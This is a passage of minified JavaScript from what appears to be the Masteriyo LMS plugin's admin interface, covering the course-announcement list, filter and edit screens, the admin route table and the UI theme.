0===a?void 0:a.name)),l().createElement(_n.Td,null,l().createElement(d.B,{direction:"row",spacing:"2",alignItems:"center",color:"gray.600"},l().createElement($e.I,{as:kt.u$_}),l().createElement(g.E,{fontSize:"xs",fontWeight:"medium"},ie(null==r?void 0:r.date_created,"Y-m-d, h:i A")))),l().createElement(_n.Td,null,"trash"===(null==r?void 0:r.status)?l().createElement(Rn.W,{placement:"bottom-end"},l().createElement(Tn.I,{as:Un.K,icon:l().createElement(kt.voe,null),variant:"outline",rounded:"sm",fontSize:"large",size:"xs"}),l().createElement(Wn.c,null,l().createElement(Kn.D,{onClick:()=>s(null==r?void 0:r.id),icon:l().createElement(kt.Nyy,null),_hover:{color:"primary.500"}},(0,E.__)("Restore","learning-management-system")),l().createElement(Kn.D,{onClick:()=>i(null==r?void 0:r.id),icon:l().createElement(Da,{icon:ea,boxSize:"12px"}),_hover:{color:"red.500"}},(0,E.__)("Delete Permanently","learning-management-system")))):l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.courseAnnouncement.edit.replace(":courseAnnouncementId",null==r?void 0:r.id.toString())},l().createElement(p.$,{colorScheme:"primary",variant:"outline",leftIcon:l().createElement(kt.u6n,null),size:"xs"},(0,E.__)("Edit","learning-management-system"))),l().createElement(Rn.W,{placement:"bottom-end"},l().createElement(Tn.I,{as:Un.K,icon:l().createElement(kt.voe,null),variant:"outline",rounded:"sm",fontSize:"large",size:"xs"}),l().createElement(Wn.c,null,l().createElement(Kn.D,{onClick:()=>o(null==r?void 0:r.id),icon:l().createElement(Da,{icon:ea,boxSize:"12px"}),_hover:{color:"red.500"}},(0,E.__)("Trash","learning-management-system")))))))};const ZC=e=>{var t,n,{filterParams:a,setFilterParams:r}=e,i=new mt(rt.courses),o=new mt(rt.users),[s]=(0,v.ok)(),m=s.get("status")||"any",c=(0,Pn.I)({queryKey:["courseList"],queryFn:()=>i.list({order_by:"name",order:"asc",per_page:5})}),u=(0,Pn.I)({queryKey:["userList"],queryFn:()=>o.list({order_by:"name",order:"asc",per_page:5})}),{handleSubmit:d,register:g,setValue:A}=(0,Je.mN)(),p=(0,wr.z)({onTypeFinish:e=>{r({parent:0,user:a.user,course:a.course,search:e,status:m})}},800),y=e=>{r(ne(ee(e,{search:a.search,parent:0,status:m})))};return l().createElement(Qe.a,{px:{base:6,md:12}},l().createElement("form",{onChange:d(y)},l().createElement(br.x,{gridTemplateColumns:{md:"repeat(3, 1fr)"},gap:"4"},l().createElement(Ma.p,(0,Re.A)({placeholder:(0,E.__)("Search Announcements","learning-management-system")},p,{height:"40px"})),l().createElement(Co,(0,Re.A)({},g("course_id"),{onChange:e=>{A("course_id",null==e?void 0:e.value.toString(),{shouldDirty:!0}),d(y)()},placeholder:(0,E.__)("Filter by Course","learning-management-system"),isClearable:!0,styles:dn,cacheOptions:!0,loadingMessage:()=>(0,E.__)("Searching course...","learning-management-system"),noOptionsMessage:e=>{var{inputValue:t}=e;return t.length>0?(0,E.__)("Course not found.","learning-management-system"):c.isLoading?(0,E.__)("Loading...","learning-management-system"):(0,E.__)("Please enter 1 or more characters.","learning-management-system")},defaultOptions:c.isSuccess?null==c||null===(t=c.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.map((e=>({value:e.id,label:"(#".concat(e.id," - ").concat(e.name,")")}))):[],loadOptions:(e,t)=>{if(e.length<0)return t([]);i.list({search:e}).then((e=>{var n;t(null==e||null===(n=e.data)||void 0===n?void 0:n.map((e=>({value:e.id,label:"#".concat(e.id," ").concat(e.name)}))))}))}})),l().createElement(Co,(0,Re.A)({},g("author_id"),{onChange:e=>{A("author_id",null==e?void 0:e.value.toString(),{shouldDirty:!0}),d(y)()},placeholder:(0,E.__)("Filter by Author","learning-management-system"),isClearable:!0,styles:dn,cacheOptions:!0,loadingMessage:()=>(0,E.__)("Searching author...","learning-management-system"),noOptionsMessage:e=>{var{inputValue:t}=e;return t.length>0?(0,E.__)("Author not found.","learning-management-system"):u.isLoading?(0,E.__)("Loading...","learning-management-system"):(0,E.__)("Please enter 1 or more characters.","learning-management-system")},defaultOptions:u.isSuccess?null==u||null===(n=u.data)||void 0===n||null===(n=n.data)||void 0===n?void 0:n.map((e=>({value:e.id,label:"".concat(e.username," (#").concat(e.id," - ").concat(e.email,")")}))):[],loadOptions:(e,t)=>{if(e.length<0)return t([]);o.list({search:e}).then((e=>{var n;t(null==e||null===(n=e.data)||void 0===n?void 0:n.map((e=>({value:e.id,label:"".concat(e.username," (#").concat(e.id," - ").concat(e.email,")")}))))}))}})))))};var $C=()=>l().createElement(d.B,{direction:["column","column","column","row"],spacing:"6"},l().createElement(Qe.a,{bg:"white",p:"10",shadow:"box",flex:"1"},l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(St.E,{height:"30px",width:"100px"}),l().createElement(d.B,{mt:"12px",direction:"column",spacing:"6"},l().createElement(d.B,{direction:"column",spacing:"3"},l().createElement(St.E,{height:"10px",width:"30%"}),l().createElement(St.E,{height:"40px"}),l().createElement(St.E,{height:"10px",width:"35%"}),l().createElement(St.E,{height:"400px"})),l().createElement(d.B,{direction:"row"},l().createElement(St.E,{height:"40px",width:"24"}),l().createElement(St.E,{height:"40px",width:"28"}),l().createElement(St.E,{height:"40px",width:"24"}))))),l().createElement(Qe.a,{bg:"white",p:"10",shadow:"box",flex:"0.5"},l().createElement(d.B,{direction:"column",spacing:"10"},l().createElement(d.B,null,l().createElement(St.E,{height:"10px",width:"30%"}),l().createElement(St.E,{height:"40px"}))))),ex=()=>l().createElement(l().Fragment,null,[1,2,3,4,5].map((e=>l().createElement(_n.Tr,{key:e},l().createElement(_n.Td,null,l().createElement(Ba.r,{noOfLines:1})),l().createElement(_n.Td,null,l().createElement(Ba.r,{noOfLines:1})),l().createElement(_n.Td,null,l().createElement(Ba.r,{noOfLines:1})),l().createElement(_n.Td,null,l().createElement(Ba.r,{noOfLines:1})),l().createElement(_n.Td,null,l().createElement(Ba.r,{noOfLines:1})),l().createElement(_n.Td,null,l().createElement(Ba.r,{noOfLines:1}))))));function tx(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function nx(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?tx(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):tx(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var ax=[{status:"any",name:(0,E.__)("All Announcements","learning-management-system")},{status:"publish",name:(0,E.__)("Published","learning-management-system")},{status:"draft",name:(0,E.__)("Draft","learning-management-system")},{status:"trash",name:(0,E.__)("Trash","learning-management-system")}];const lx=()=>{var e,t,n,r,i,o,m,c,u,A,p=new mt(HC.courseAnnouncement),y=(0,vt.Zp)(),v=(0,We.d)(),[f,h]=(0,a.useState)({order:"desc",orderby:"date"}),[b,w]=(0,a.useState)(),C=(0,s.jE)(),{onClose:x,onOpen:S,isOpen:B}=(0,Ue.j)(),[I,O]=(0,a.useState)("any"),[P,D]=(0,a.useState)(""),[_,k]=(0,a.useState)([]),[Q]=(0,xt.U)("(min-width: 360px)"),z=(0,Pn.I)(nx({queryKey:["announcementList",f],queryFn:()=>p.list(f)},{keepPreviousData:!0})),q=(0,wt.n)(nx({mutationFn:e=>p.delete(e,{force:!0,children:!0})},{onSuccess:e=>{Ce(C,["announcementList",{order:"desc",orderby:"date"}],null==e?void 0:e.id),C.invalidateQueries({queryKey:["announcementList"]}),x(),v({title:(0,E.__)("Announcement deleted successfully!","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{v({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),F=(0,wt.n)(nx({mutationFn:e=>p.restore(e)},{onSuccess:()=>{v({title:(0,E.__)("Announcement Restored","learning-management-system"),isClosable:!0,status:"success"}),C.invalidateQueries({queryKey:["announcementList"]})},onError:e=>{v({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),j=(0,wt.n)(nx({mutationFn:e=>p.delete(e)},{onSuccess:e=>{Ce(C,["announcementList",{order:"desc",orderby:"date"}],null==e?void 0:e.id),C.invalidateQueries({queryKey:["announcementList"]}),v({title:(0,E.__)("Announcement Trashed","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{v({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),V=e=>{e&&j.mutate(e)},L=e=>{S(),D(""),w(e)},M=e=>{e&&F.mutate(e)},R=(e,t)=>h(ee(nx(nx({},f),{},{order:e,orderby:t}))),T={delete:(0,wt.n)(nx({mutationFn:e=>p.bulkDelete("delete",{ids:e,force:!0,children:!0})},{onSuccess(){C.invalidateQueries({queryKey:["announcementList"]}),x(),k([]),v({title:(0,E.__)("Announcements Deleted","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{v({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),trash:(0,wt.n)(nx({mutationFn:e=>p.bulkDelete("delete",{ids:e})},{onSuccess(){C.invalidateQueries({queryKey:["announcementList"]}),x(),k([]),v({title:(0,E.__)("Announcements Trashed","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{v({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),restore:(0,wt.n)(nx({mutationFn:e=>p.bulkRestore("restore",{ids:e})},{onSuccess(){C.invalidateQueries({queryKey:["announcementList"]}),x(),k([]),v({title:(0,E.__)("Announcements Restored","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{v({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}}))};return l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Lt,{display:"flex",flexWrap:"wrap",justifyContent:{base:"center",lg:"space-between"}},l().createElement(Wt,{gap:7},l().createElement(Ut,null),l().createElement(Yn,{tabs:ax,defaultActive:"any",onTabChange:e=>{O(e),h(ee(f,{status:e})),k([]),D("")},counts:null===(e=z.data)||void 0===e||null===(e=e.meta)||void 0===e?void 0:e.announcement_count,isCounting:z.isLoading})),l().createElement(Kt,{my:{base:2,lg:0}},l().createElement(Nt,{onClick:()=>y(Pt.courseAnnouncement.add),leftIcon:Q?l().createElement(Ln,{fill:"currentColor",width:"16px",height:"16px"}):void 0},(0,E.__)("Add New Announcement","learning-management-system"))))),l().createElement(De.m,{maxW:"container.xl"},l().createElement(Qe.a,{bg:"white",py:{base:6,md:12},shadow:"box",mx:"auto"},l().createElement(d.B,{direction:"column",spacing:"10"},l().createElement(ZC,{setFilterParams:h,filterParams:f}),l().createElement(d.B,{direction:"column",spacing:"8",mt:{base:"15px !important",sm:"15px !important",md:"2.5rem !important",lg:"2.5rem !important"}},l().createElement(_n.XI,null,z.isLoading||!z.isFetched?l().createElement(ex,null):z.isSuccess&&$(null==z||null===(t=z.data)||void 0===t?void 0:t.data)?l().createElement(Mn,{onPrimaryButtonClick:()=>{y(Pt.courseAnnouncement.add)},title:(0,E.__)("Create Your First Announcement","learning-management-system"),description:(0,E.__)("Start building your learning platform by creating your first course. Add lessons, quizzes, and materials to engage your students.","learning-management-system"),primaryButtonLabel:(0,E.__)("Add New Announcement","learning-management-system"),isResultFiltered:Boolean((null==f?void 0:f.search)||(null==f?void 0:f.course_id)||(null==f?void 0:f.author_id)||(null==f?void 0:f.status)&&"any"!==(null==f?void 0:f.status))}):l().createElement(l().Fragment,null,l().createElement(_n.d8,null,l().createElement(_n.Tr,null,l().createElement(_n.Th,null,l().createElement(On.S,{isDisabled:z.isLoading||z.isFetching||z.isRefetching,isIndeterminate:(null==z||null===(n=z.data)||void 0===n||null===(n=n.data)||void 0===n?void 0:n.length)!==(null==_?void 0:_.length)&&(null==_?void 0:_.length)>0,isChecked:(null==z||null===(r=z.data)||void 0===r||null===(r=r.data)||void 0===r?void 0:r.length)===_.length&&!$(null==z||null===(i=z.data)||void 0===i?void 0:i.data),onChange:e=>{var t;return k(e.target.checked?null==z||null===(t=z.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.map((e=>{var t;return null==e||null===(t=e.id)||void 0===t?void 0:t.toString()})):[])}})),l().createElement(_n.Th,null,l().createElement(d.B,{direction:"row",alignItems:"center"},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("Title","learning-management-system")),l().createElement(Sa,{filterParams:f,filterContentBy:R,orderBy:"title"}))),l().createElement(_n.Th,null,(0,E.__)("Author","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Course","learning-management-system")),l().createElement(_n.Th,null,l().createElement(d.B,{direction:"row",alignItems:"center"},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("Date","learning-management-system")),l().createElement(Sa,{filterParams:f,filterContentBy:R,orderBy:"date"}))),l().createElement(_n.Th,null,(0,E.__)("Actions","learning-management-system")))),l().createElement(_n.NN,null,null==z||null===(o=z.data)||void 0===o||null===(o=o.data)||void 0===o?void 0:o.map((e=>l().createElement(YC,{key:null==e?void 0:e.id,data:e,bulkIds:_,onDeletePress:L,onRestorePress:M,onTrashPress:V,setBulkIds:k,isLoading:z.isLoading||z.isFetching||z.isRefetching}))))))))),z.isSuccess&&!$(null==z||null===(m=z.data)||void 0===m?void 0:m.data)&&l().createElement(ba,{metaData:null==z||null===(c=z.data)||void 0===c?void 0:c.meta,setFilterParams:h,perPageText:(0,E.__)("Announcements Per Page:","learning-management-system"),extraFilterParams:{order:null==f?void 0:f.order,orderby:null==f?void 0:f.orderby,search:null==f?void 0:f.search,status:null==f?void 0:f.status}})),l().createElement(ta,{openToast:S,status:I,setBulkAction:D,bulkIds:_,setBulkIds:k,trashable:!0}),l().createElement(qn,{isOpen:B,onClose:x,confirmButtonColorScheme:"restore"===P?"primary":void 0,onConfirm:""===P?()=>{b&&q.mutate(b)}:()=>{T[P].mutate(_)},action:P,isLoading:""===P?q.isPending:null!==(u=null==T||null===(A=T[P])||void 0===A?void 0:A.isLoading)&&void 0!==u&&u,dialogTexts:{default:{header:(0,E.__)("Deleting announcement","learning-management-system"),body:(0,E.__)("Are you sure? You can’t restore after deleting.","learning-management-system"),confirm:(0,E.__)("Delete","learning-management-system")},trash:{header:(0,E.__)("Moving announcements to trash","learning-management-system"),body:(0,E.__)("Are you sure? The selected announcements will be moved to trash.","learning-management-system"),confirm:(0,E.__)("Move to Trash","learning-management-system")},delete:{header:(0,E.__)("Deleting Announcements","learning-management-system"),body:(0,E.__)("Are you sure? You can’t restore after deleting."),confirm:(0,E.__)("Delete","learning-management-system")},restore:{header:(0,E.__)("Restoring Announcements","learning-management-system"),body:(0,E.__)("Are you sure? The selected announcements will be restored from the trash.","learning-management-system"),confirm:(0,E.__)("Restore","learning-management-system")}}}))};function rx(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}var ix={mr:"10",py:"6",d:"flex",gap:1,justifyContent:"flex-start",alignItems:"center",fontWeight:"medium",fontSize:["xs",null,"sm"]};const ox=()=>{var e,t,n,{courseAnnouncementId:r}=(0,vt.g)(),i=(0,We.d)(),o=(0,s.jE)(),m=(0,Je.mN)(),c=(0,vt.Zp)(),u=new mt(HC.courseAnnouncement),[g]=(0,xt.U)("(min-width: 992px)"),A=(0,Jr.A)(["sm","md"]),y=(0,Pn.I)({queryKey:["announcement".concat(r),r],queryFn:()=>u.get(r,"edit")});(0,a.useEffect)((()=>{null!=y&&y.isError&&c(Pt.notFound)}),[null==y?void 0:y.isError,c]);var f=(0,wt.n)(function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?rx(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):rx(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({mutationFn:e=>u.update(r,e)},{onSuccess:e=>{xe(o,["announcementList",{order:"desc",orderby:"date"}],e),o.invalidateQueries({queryKey:["announcement".concat(r)]}),o.invalidateQueries({queryKey:["announcementList"]}),i({title:(0,E.__)("Announcement updated successfully.","learning-management-system"),isClosable:!0,status:"success"}),c(Pt.courseAnnouncement.list)},onError:e=>{var t,n=null!=e&&e.message?null==e?void 0:e.message:null==e||null===(t=e.data)||void 0===t?void 0:t.message;i({title:(0,E.__)("Failed to update the announcement.","learning-management-system"),description:n?"".concat(n):void 0,status:"error",isClosable:!0})}})),h=e=>{f.mutate(ne(e))};Ca(m.formState.isDirty),(0,a.useEffect)((()=>{null!=y&&y.isSuccess&&null!=y&&y.data&&m.reset(m.getValues())}),[null==y?void 0:y.data]);var b=()=>{var e;return l().createElement(Bt.e,null,l().createElement(WC,{isLoading:f.isPending,methods:m,onSubmit:h,announcementStatus:null==y||null===(e=y.data)||void 0===e?void 0:e.status}),l().createElement(p.$,{size:A,variant:"outline",isDisabled:f.isPending,onClick:()=>c({pathname:Pt.courseAnnouncement.list})},(0,E.__)("Cancel","learning-management-system")))};return l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Wt,null,l().createElement(Ut,null),l().createElement(Fe.B8,{display:["none","flex","flex"],flexDirection:["column","row","row","row"]},l().createElement(Fe.ck,{mb:"0"},l().createElement(v.N_,{to:Pt.courseAnnouncement.add},l().createElement(p.$,{color:"gray.600",variant:"link",sx:ix,_active:on,rounded:"none",isActive:!0},(0,E.__)("Edit Announcement","learning-management-system"))))))),l().createElement(De.m,{maxW:"container.xl"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Bt.e,null,l().createElement(v.N_,{to:Pt.courseAnnouncement.list},l().createElement(Dl,null))),y.isSuccess?l().createElement(Je.Op,m,l().createElement("form",{onSubmit:m.handleSubmit(h)},l().createElement(d.B,{direction:["column","column","column","row"],spacing:"8"},l().createElement(Qe.a,{flex:"1",bg:"white",p:"10",shadow:"box",display:"flex",flexDirection:"column",justifyContent:"space-between"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(GC,{defaultValue:null==y||null===(e=y.data)||void 0===e?void 0:e.title}),l().createElement(NC,{defaultValue:null==y||null===(t=y.data)||void 0===t?void 0:t.description}),g?l().createElement(b,null):null)),l().createElement(Qe.a,{w:{lg:"400px"},bg:"white",p:"10",shadow:"box"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(KC,{defaultData:null==y||null===(n=y.data)||void 0===n?void 0:n.course}),g?null:l().createElement(b,null)))))):l().createElement($C,null))))};var sx=e=>{var{slug:t,children:n}=e;return Em(t)?n:l().createElement(tm,null)};const mx=()=>l().createElement(v.I9,null,l().createElement(vt.BV,null,l().createElement(vt.qh,{element:l().createElement(Xb,null)},l().createElement(vt.qh,{path:Pt.about,element:l().createElement(bb,null)}),l().createElement(vt.qh,{path:Pt.addons,element:l().createElement(Rm,null)}),l().createElement(vt.qh,{path:Pt.help,element:l().createElement(qb,null)}),l().createElement(vt.qh,{path:Pt.freeVPro,element:l().createElement(Ob,null)}),l().createElement(vt.qh,{path:Pt.analytics,element:l().createElement(rc,null)}),l().createElement(vt.qh,{path:Pt.tools,element:l().createElement(_h,null)}),l().createElement(vt.qh,{path:Pt.settings,element:l().createElement(wf,null)}),l().createElement(vt.qh,{path:Pt.demos,element:l().createElement(rw,null)}),l().createElement(vt.qh,{path:Pt.home,element:l().createElement(gb,null)})),l().createElement(vt.qh,{path:Pt.orders.list,element:l().createElement(tv,null)}),l().createElement(vt.qh,{path:Pt.orders.add,element:l().createElement(lv,null)}),l().createElement(vt.qh,{path:Pt.orders.edit,element:l().createElement(gv,null)}),l().createElement(vt.qh,{path:Pt.courses.list,element:l().createElement(NE,null)}),l().createElement(vt.qh,{path:Pt.courses.add,element:l().createElement(Gd,null)}),l().createElement(vt.qh,{path:Pt.course_categories.list,element:l().createElement(Md,null)}),l().createElement(vt.qh,{path:Pt.course_categories.add,element:l().createElement(pd,null)}),l().createElement(vt.qh,{path:Pt.course_categories.edit,element:l().createElement(Wd,null)}),l().createElement(vt.qh,{path:Pt.course_difficulties.list,element:l().createElement(jb,null)}),l().createElement(vt.qh,{path:Pt.course_difficulties.edit,element:l().createElement(Wb,null)}),l().createElement(vt.qh,{path:Pt.quiz.add,element:l().createElement(vw,null)}),l().createElement(vt.qh,{path:Pt.quiz.edit,element:l().createElement(EC,null)}),l().createElement(vt.qh,{path:Pt.courses.edit,element:l().createElement(md,null)}),l().createElement(vt.qh,{path:Pt.lesson.add,element:l().createElement(Ky,null)}),l().createElement(vt.qh,{path:Pt.lesson.edit,element:l().createElement(Hy,null)}),l().createElement(vt.qh,{path:Pt.users.students.add,element:l().createElement(Hh,null)}),l().createElement(vt.qh,{path:Pt.users.students.list,element:l().createElement($h,null)}),l().createElement(vt.qh,{path:Pt.users.students.edit,element:l().createElement(nb,null)}),l().createElement(vt.qh,{path:Pt.users.instructors.add,element:l().createElement(zh,null)}),l().createElement(vt.qh,{path:Pt.users.instructors.list,element:l().createElement(Rh,null)}),l().createElement(vt.qh,{path:Pt.users.instructors.edit,element:l().createElement(Kh,null)}),l().createElement(vt.qh,{path:Pt.quiz_attempts.list,element:l().createElement(qv,null)}),l().createElement(vt.qh,{path:Pt.quiz_reviews.list,element:l().createElement(uw,null)}),l().createElement(vt.qh,{path:Pt.quiz_attempts.edit,element:l().createElement(Kv,null)}),l().createElement(vt.qh,{path:Pt.webhooks.add,element:l().createElement(LC,null)}),l().createElement(vt.qh,{path:Pt.webhooks.edit,element:l().createElement(UC,null)}),l().createElement(vt.qh,{path:Pt.webhooks.list,element:l().createElement(OC,null)}),l().createElement(vt.qh,{path:Pt.reviews.list,element:l().createElement(Xv,null)}),l().createElement(vt.qh,{path:Pt.reviews.edit,element:l().createElement(yf,null)}),l().createElement(vt.qh,{path:Pt.questionAnswers.list,element:l().createElement(Pv,null)}),l().createElement(vt.qh,{path:Pt.log,element:l().createElement(hC,null)}),Em("revenue-sharing")&&"yes"===R.can_manage_withdraws&&l().createElement(vt.qh,{path:Pt.withdraws,element:l().createElement(em,null)}),l().createElement(vt.qh,{path:Pt.courseAnnouncement.list,element:l().createElement(sx,{slug:"course-announcement"},l().createElement(lx,null))}),l().createElement(vt.qh,{path:Pt.courseAnnouncement.add,element:l().createElement(sx,{slug:"course-announcement"},l().createElement(XC,null))}),l().createElement(vt.qh,{path:Pt.courseAnnouncement.edit,element:l().createElement(sx,{slug:"course-announcement"},l().createElement(ox,null))}),l().createElement(vt.qh,{path:Pt.googleClassroom.list,element:l().createElement(sx,{slug:"google-classroom-integration"},l().createElement(lr,null))}),l().createElement(vt.qh,{path:Pt.googleClassroom.setting,element:l().createElement(sx,{slug:"google-classroom-integration"},l().createElement(yr,null))}),l().createElement(vt.qh,{path:vr.googleMeet.list,element:l().createElement(sx,{slug:"google-meet"},l().createElement(Fr,null))}),l().createElement(vt.qh,{path:vr.googleMeet.setAPI,element:l().createElement(sx,{slug:"google-meet"},l().createElement(Gr,null))}),l().createElement(vt.qh,{path:vr.googleMeet.edit,element:l().createElement(sx,{slug:"google-meet"},l().createElement(po,null))}),l().createElement(vt.qh,{path:vr.googleMeet.add,element:l().createElement(sx,{slug:"google-meet"},l().createElement(io,null))}),l().createElement(vt.qh,{path:vo.list,element:l().createElement(sx,{slug:"group-courses"},l().createElement(Oo,null))}),l().createElement(vt.qh,{path:vo.edit,element:l().createElement(sx,{slug:"group-courses"},l().createElement(Xo,null))}),l().createElement(vt.qh,{path:vo.settings,element:l().createElement(sx,{slug:"group-courses"},l().createElement(as,null))}),l().createElement(vt.qh,{path:is.list,element:l().createElement(sx,{slug:"multiple-currency"},l().createElement(Os,null))}),l().createElement(vt.qh,{path:is.add,element:l().createElement(sx,{slug:"multiple-currency"},l().createElement(Es,null))}),l().createElement(vt.qh,{path:is.edit,element:l().createElement(sx,{slug:"multiple-currency"},l().createElement(_s,null))}),l().createElement(vt.qh,{path:is.settings,element:l().createElement(sx,{slug:"multiple-currency"},l().createElement(Ls,null))}),l().createElement(vt.qh,{path:Sn.certificate.add,element:l().createElement(sx,{slug:"certificate"},l().createElement(In,null))}),l().createElement(vt.qh,{path:Sn.certificate.list,element:l().createElement(sx,{slug:"certificate"},l().createElement(Pl,null))}),l().createElement(vt.qh,{path:Sn.certificate.edit,element:l().createElement(sx,{slug:"certificate"},l().createElement(Kl,null))}),l().createElement(vt.qh,{path:"*",element:l().createElement(tm,null)})));function cx(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function ux(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?cx(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):cx(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var dx=(0,a.createContext)(void 0),gx=e=>{var{initial:t={},children:n}=e,r=(0,a.useRef)(t),[i,o]=(0,a.useState)(r.current),s=(0,a.useCallback)((e=>{o((t=>"function"==typeof e?e(t):e))}),[]),m=(0,a.useCallback)((e=>{o((t=>{var n="function"==typeof e?e(t):e;return ux(ux({},t),n)}))}),[]),c=(0,a.useCallback)((()=>o(r.current)),[]),u=(0,a.useMemo)((()=>({value:i,setValue:s,updateValue:m,resetValue:c})),[i,s,m,c]);return l().createElement(dx.Provider,{value:u},n)},Ax=n(53628);function px(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function Ex(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?px(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):px(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}document.documentElement.dir;var yx={padding:"0px 16px",fontSize:"sm !important",fontWeight:"normal !important",borderRadius:"base !important",boxShadow:"none !important",color:"gray.600",borderColor:"gray.200",_placeholder:{color:"#737373",fontSize:"14px !important",fontStyle:"normal",fontWeight:400,lineHeight:"24px"},_hover:{borderColor:"gray.300 !important"},_focus:{borderColor:"primary.500 !important"}};const vx=(0,Ax.oY)({colors:{muted:"#F9FAFA",primary:{10:"#F5F9FF",50:"#FFFFFF",100:"#ecf3ff",200:"#DEE9FF",300:"#ABC7FF",400:"#78A6FF",500:"#4584FF",600:"#1262FF",700:"#004BDE",800:"#003AAB",900:"#002978"},tertiary:{500:"#EDF3FF",600:"#EDF2F7"},secondary:{500:"#FD739C"},button:{10:"#ecf3ff",50:"#FFFFFF",100:"#ecf3ff",200:"#DEE9FF",300:"#ABC7FF",400:"#78A6FF",500:"#4584FF",600:"#1262FF",700:"#004BDE",800:"#003AAB",900:"#002978"},green:{10:"#E4FFE9"},"muted-light":"rgba(249, 250, 250, 0.8)",orange:{10:"#e1995f"},"faint-gray":"#f9f9f9","soft-gray":"#fafafc","light-gray":"#f0f0f0","ash-gray":"#999999","dim-gray":"#909090",graphite:"#4E4E4E","light-blue":"#edeff7","saint-blue":"#424360","pale-gray":"#E9E9E9","dark-gray":"#222","charcoal-gray":"#383838","smoke-gray":"#6D6D6D4D","whisper-gray":"#6D6D6D1A","urban-ash":"#6D6D6D","icy-blue-gray":"#E2E8F0","cloud-gray":"#D2D2D2",brandBlueAlpha10:"#4584FF1A","oxford-night":"#07092F","off-white":"#F7F7F7","ghost-white":"#FCFCFC","frosted-sky":"#EDF3FF","frosted-sky-lighter":"#EDF2F7","cloud-tint":"#ECEEF7","coral-red":"#F25656","golden-amber":"#D2A100","masteriyo-onboard-bg":"#fafafa","onboard-color-lighter":"#718096","onboard-color-light":"#666","onboard-color-dark":"#1A202C","onboard-color-divider":"#E9E9E9","onboard-color-gray":"#F4F4F4"},fontSizes:{"onboard-xs":"14px","onboard-sm":"15px","onboard-md":"17px","onboard-semilarge":"20px","onboard-lg":"24px","onboard-xl":"26px","x-large":"28px",large:"22px"},fontWeights:{"onboard-regular":400,"onboard-medium":500,"onboard-semibold":600,"onboard-bold":700},styles:{global:{"#masteriyo, #masteriyo-onboarding, #masteriyo-account-page \t\t\t\t#masteriyo p, #masteriyo-onboarding, #masteriyo-account-page p, \t\t\t\t#masteriyo span, #masteriyo-onboarding, #masteriyo-account-page span, \t\t\t\t#masteriyo li, #masteriyo-onboarding,#masteriyo-account-page li, \t\t\t\t#masteriyo a, #masteriyo-onboarding, #masteriyo-account-page a, \t\t\t\t#masteriyo input, #masteriyo-onboarding,#masteriyo-account-page input, \t\t\t\t#masteriyo textarea, #masteriyo-onboarding, #masteriyo-account-page textarea, \t\t\t\t#masteriyo button, #masteriyo-onboarding, #masteriyo-account-page button, \t\t\t\t#masteriyo label, #masteriyo-onboarding, #masteriyo-account-page label, 